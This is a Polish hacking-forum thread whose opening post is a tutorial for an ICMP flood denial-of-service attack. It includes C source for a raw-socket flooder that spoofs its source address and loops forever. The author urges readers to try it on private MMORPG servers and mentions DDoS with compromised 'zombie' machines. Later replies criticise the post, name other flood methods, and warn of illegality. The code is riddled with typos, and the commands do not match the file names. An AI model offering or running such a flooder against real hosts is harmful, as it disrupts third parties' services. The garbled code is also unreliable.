Pokaż wyniki 1 do 7 z 7

Temat: Tutorial - Wykorzystanie ICMP do ataku DoS

  1. #1
    Avatar se4o
    se4o jest offline YinSecure
    Zarejestrowany
    Jun 2011
    Postów
    20

    Domyślnie Tutorial - Wykorzystanie ICMP do ataku DoS

    Jak wszyscy wiemy ping działa na zasadzie że wysyła pakiet icmp o długości 84 bajtów
    -s <Ustalamy rozmiar pakietu >
    -c <oznacza ilość wysłanych pakietów >
    -t < służy do określenia wartości pola TTL w nagłówku ip >
    -f <flood ping . pozwoli nam na masowe wysyłanie komunikatów >
    Jeżeli chcemy uzyskać drogę pakietu używamy
    traceroute
    np.
    tracerout wp.pl
    W ten sposób dowiemy się bardzo cennych informacji.

    Umieszczam wam tutaj mini skrypt oparty o icmp który wysyła pakiety w nieskączonośc z dużą szybkością . Oparty jest na pętli która nie ma prawa zostać spełniona , co powoduje ciągłe jej wykonywanie .
    Jest to jeden z najprostszych ,,programików'' do ataku DoS . Można go również wykorzystać do ataku DDoS ale w tym celu musicie posiadać choć 2 zombie maszyny .


    #include < stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include < sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include<netinet/ip_icmp.h>
    #include<netinet/ip.h>


    #define SIZE 4096

    unsighned shor ip_sum (unsigned short *addr, int len )

    {

    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer =0;
    while(nieft > 1 )
    {
    sum + = *w++;
    nieft-=2;
    }
    if (nieft ==1 )
    {
    *(u_char *) (&answer) = * (u_char * ) w;
    sum+=answer ;

    }
    sum = (sum >> 16 ) + ( sum & 0xffff);
    sum +=(sum >> 16 );
    answer = ~ 16 );
    answer = ~sum'
    return(answer);

    }
    int main (int argc , char* argv[])
    {
    int sock;
    struct iphdr*ip;
    struct icmphdr *icmp;
    struct sockaddr_in du;
    struct hostent *h;
    int len;
    char buf[SIZE];

    memset(&du, 0 sizeof(du));
    memset(buf , 0 sizeof(buf));

    if (h = gethostbyname(argv[1])) == NULL)
    {
    perror ("gethostbyname()");
    exit(1);
    }
    du.sin_family=AF_INET;
    du.sin_addr=*((struct in_addr*)h->h_addr);
    memset (&(du.sin_zero),'\0',8);

    ip=(struct iphdr*)buf;
    icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));

    ip->version =4;
    ip->ihl=sizeof(struct iphdr)/4;
    ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr));
    ip->id=htons(getpid()&255);
    ip->ttl=64;
    ip->protocol=IPPROTO_ICMP;

    ip->saddr=inet_addr(argx[2]);
    ip->daddr=du.sin_addr.s_addr;

    icmp->type=ICMP_ECHO;
    icmp->code=0;
    icmp->checksum=0;
    icmp->checksum=ip_sum((u_short*)icmp,sizeof(struct icmphdr));

    if (sock=socket(PF_INET,SOCK_RAW,255))==-1)
    {
    perror("socket()");
    exit(1);
    }

    len=sizeof(struct icmphdr)+sizeof(struct iphdr);

    while(1)
    {
    if(sendto(sock,buf,len,0(struct sockaddr*)&du,sizeo(du)))==-1)
    {

    perror("sendto()");
    exit(1);
    }
    Putchar('S');
    }
    close(sock);
    return 0;
    }

    Zapiszmy go : ( używając

    gcc -o flooder icmp.c
    Odpalmy :
    ./icmp 127.0.0.1 127.0.0.1
    Zobaczymy w konsoli mnóstwo liter ,,S''
    Żeby je zliczyć i zobaczyć ile pakietów wysłaliśmy należy wpisać :

    ./icmp 127.0.0.1 127.0.0.1 > liczbaS.txt
    wc -c liczbaS.txt
    LiczbaS.txt
    Mi wyszło 200 tysięcy pakietów ... chciałbym zaznaczyć że atak odbywał się z łącza 32mb/S w tym najnowszego procesora intel i7 ...
    a łaczny czas ataku to zaledwie 2 sekundy może 3


    Więc jak widzimy jest to kolejny prosty sposób na uzyskanie ataku DoS . Jako ćwiczenie polecam poszukać jakiś prywantych serwerów do gier mmorpg , one są bardzo wrażliwe na takie ataki .


    Chciałbym zaznaczyć że atak oparty o icmp jest nie najlepszy lecz nadal używany . Bardzo powszechny staje się atak DoS przy użyciu TCP/IP pozwala nam to na wiele otwartych połączeń z maszyną .
    Ostatnio edytowane przez se4o : 06-29-2011 - 18:29

  2. #2
    Avatar GSG-9
    GSG-9 jest offline Shapeshifter
    Zarejestrowany
    Jul 2007
    Skąd
    C:\Perl\bin
    Postów
    1,578

    Domyślnie

    Cytat Napisał se4o Zobacz post
    Mi wyszło 200 tysięcy pakietów ... chciałbym zaznaczyć że atak odbywał się z łącza 32mb/S w tym najnowszego procesora intel i7 ...
    a łaczny czas ataku to zaledwie 2 sekundy może 3
    co ma cpu do wykorzystania lacza? przy obronie ma, ale przy ataku? rozwin.
    Cytat Napisał se4o Zobacz post
    Więc jak widzimy jest to kolejny prosty sposób na uzyskanie ataku DoS . Jako ćwiczenie polecam poszukać jakiś prywantych serwerów do gier mmorpg , one są bardzo wrażliwe na takie ataki .
    bardzo wrazliwe? dlaczego akurat te? rozwin

    Cytat Napisał se4o Zobacz post
    Chciałbym zaznaczyć że atak oparty o icmp jest nie najlepszy lecz nadal używany .
    to teraz czas na udp flood :P
    Cytat Napisał se4o Zobacz post
    Bardzo powszechny staje się atak DoS przy użyciu TCP/IP pozwala nam to na wiele otwartych połączeń z maszyną .
    jesli mowisz o tym co mysle, to mozesz zamienic slowo 'maszyna' na 'apache'
    War, war never changes.

  3. #3
    Avatar se4o
    se4o jest offline YinSecure
    Zarejestrowany
    Jun 2011
    Postów
    20

    Domyślnie

    CPU w zasadzie działa jako przyszpieszać do wysyłania pakietów im lepsze parametry tym szybciej można je przedtwarzać

    Gry mmorpg bazują na własnych silnikach opartych o łącze i parametry RAM , zależność sprzętu ( hosta ) zależy od ilości użytkowników na danym serwerze ... Wystarczy kilko minutowy atak z 2- 3 maszyn na prywatny serwer ( bo na oficijnalne potrzeba kilkadziesiąt - kilkaset / albo tysięcy komputerów by doprowadzić ruch na serwerze do upadku lub też zawieszenia ...
    Serwer mmoorgp nasilenie pakietów odbiera jako ruch użytkowników gry, gdy liczba pzekroczy określoną ilość serwer się zawiesza lub też wyłancza.

    Tak masz racje ,Apache .. lecz zaraz bym usłyszał posty co to jest apache ... dlatego sama nazwa mówi dział na nowicjuszy używam potocznych terminów zeby nie mieszać im jeszcze bardziej

  4. #4
    Zarejestrowany
    Mar 2011
    Skąd
    Obecnie, jestem przy komputerze
    Postów
    80

    Domyślnie

    Cool :>
    Tyle że nie potrafisz nazwać rzeczy po imieniu, nie rozwinąłeś najnowszych metod ataków protokołu ICMP tylko jakiś irytujący flood, well , zrobie to za ciebie. Jako pierwsze opisales tutaj PoD -> Ping of Death

    Nie chcę Ci uprzykrzać życia na tym forum, ale:
    http://hack.pl/forum/hacking/8889-c-net-programs.html

    Podpisałeś się w tym tutorialu jako scriptkiddie.

    //

    Co do procesora - cóż czas przydziału czasu procesora dla danego zadania i jego szybkość / czas ma tutaj rolę, ale nie odgrywa najważniejszej, więc średnio się zgodze.

    Dodam ze najwazniejsza role odgrywa tutaj raczej RAM.

    Chciałbym zaznaczyć że atak oparty o icmp jest nie najlepszy lecz nadal używany . Bardzo powszechny staje się atak DoS przy użyciu TCP/IP pozwala nam to na wiele otwartych połączeń z maszyną .
    mysle ze chodzilo ci o atak SYN, coz przy okazji dodam troche o mojej dyskusji z ^TQM na ten temat i zgodze sie z nim bo mial troche racji w wydajnosci ataku po protokole HTTP w porownaniu do SYN, i atak z mniejszej ilosci hostow nadaje sie do takiego uzycia, patrzac pod kątem botnetu, ale nadal pozostalbym przy SYN mówiąc ogólnie o atakach DoS/DDoS(nie chce rozwijac sie tutaj o tym bo nie ten topic).

  5. #5
    Avatar se4o
    se4o jest offline YinSecure
    Zarejestrowany
    Jun 2011
    Postów
    20

    Domyślnie

    UP : kod programu nie jest mój jest na zamkniętym forum ...
    na którym jest dostępnych wiele takich kodów ...

    Nie miałbym zamiaru umieszczazć na tym forum swoich kodów ...
    Więc mnie nie obrażaj ; )

  6. #6
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Jesli juz zabrales sie za pisanie tutoriali to niech beda Twoje i chocby przecietnej jakosci bo na razie to powala mnie jej brak...

    Celowo mowisz 'maszyna' aby nie powiedziec 'apache' aby uniknac pytan a walisz takie bledy?! Badz konsekwentny w takim razie... wyjasnij jakim magicznym cudem plik zmienil nazwe albo podaj z ktorej strony to skopiowales aby ludzie mogli przeczytac oryginal bez Twoich bledow. Jak bierzesz materialy od kogos to przynajmniej podaj oryginalne zrodlo z ktorego korzystasz - kultura by tego wymagala.

    HINT 1:
    Kompilujesz skrypt poleceniem gcc -o flooder icmp.c i uruchamiasz jako ./icmp 127.0.0.1 127.0.0.1 - jakis magiczny ten Twoj system skoro robi to o czym pomyslisz (zmieni nazwy plikow w locie itd).

    HINT 2:
    Moglbys przynajmniej literowek w poleceniach pilnowac - nastepny przyklad to traceroute.
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  7. #7
    Zarejestrowany
    Oct 2008
    Skąd
    woj. Lubuskie. Dokładniej się nie da
    Postów
    405

    Domyślnie

    Nie wiem czy wiesz, ale zamknięte grupy za zdradzenie treści dostępnej tylko dla swoich, wyciągają konsekwencje. W najlżejszym przypadku usunięcie takiego człowieka z grupy. Ale nie zdziw się, jak dojdzie do tego zszarganie twojej i tak nie najlepszej opinii czy dopisanie odpowiednich wpisów do jednej z nieomylnych baz danych na których system się opiera. Po co ci to?
    Jeżeli nie jest coś publikowane dla ogółu, znaczy że być nie powinno. Powód? Wykorzystanie szkodliwych skryptów jest raczej nielegalne, a jeszcze forum ma trochę powisieć. Poza tym, zabawki w ręku nieodpowiedzialnej osoby mogą ponieść ofiary (uszkodzenia systemów lub konsekwencje prawne dla tego, kto tego używa). Radzę ci się porządnie zastanowić na 2 raz.
    Jeśli nie będziesz mieć pod górke, nigdy nie dojdziesz na szczyt.

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj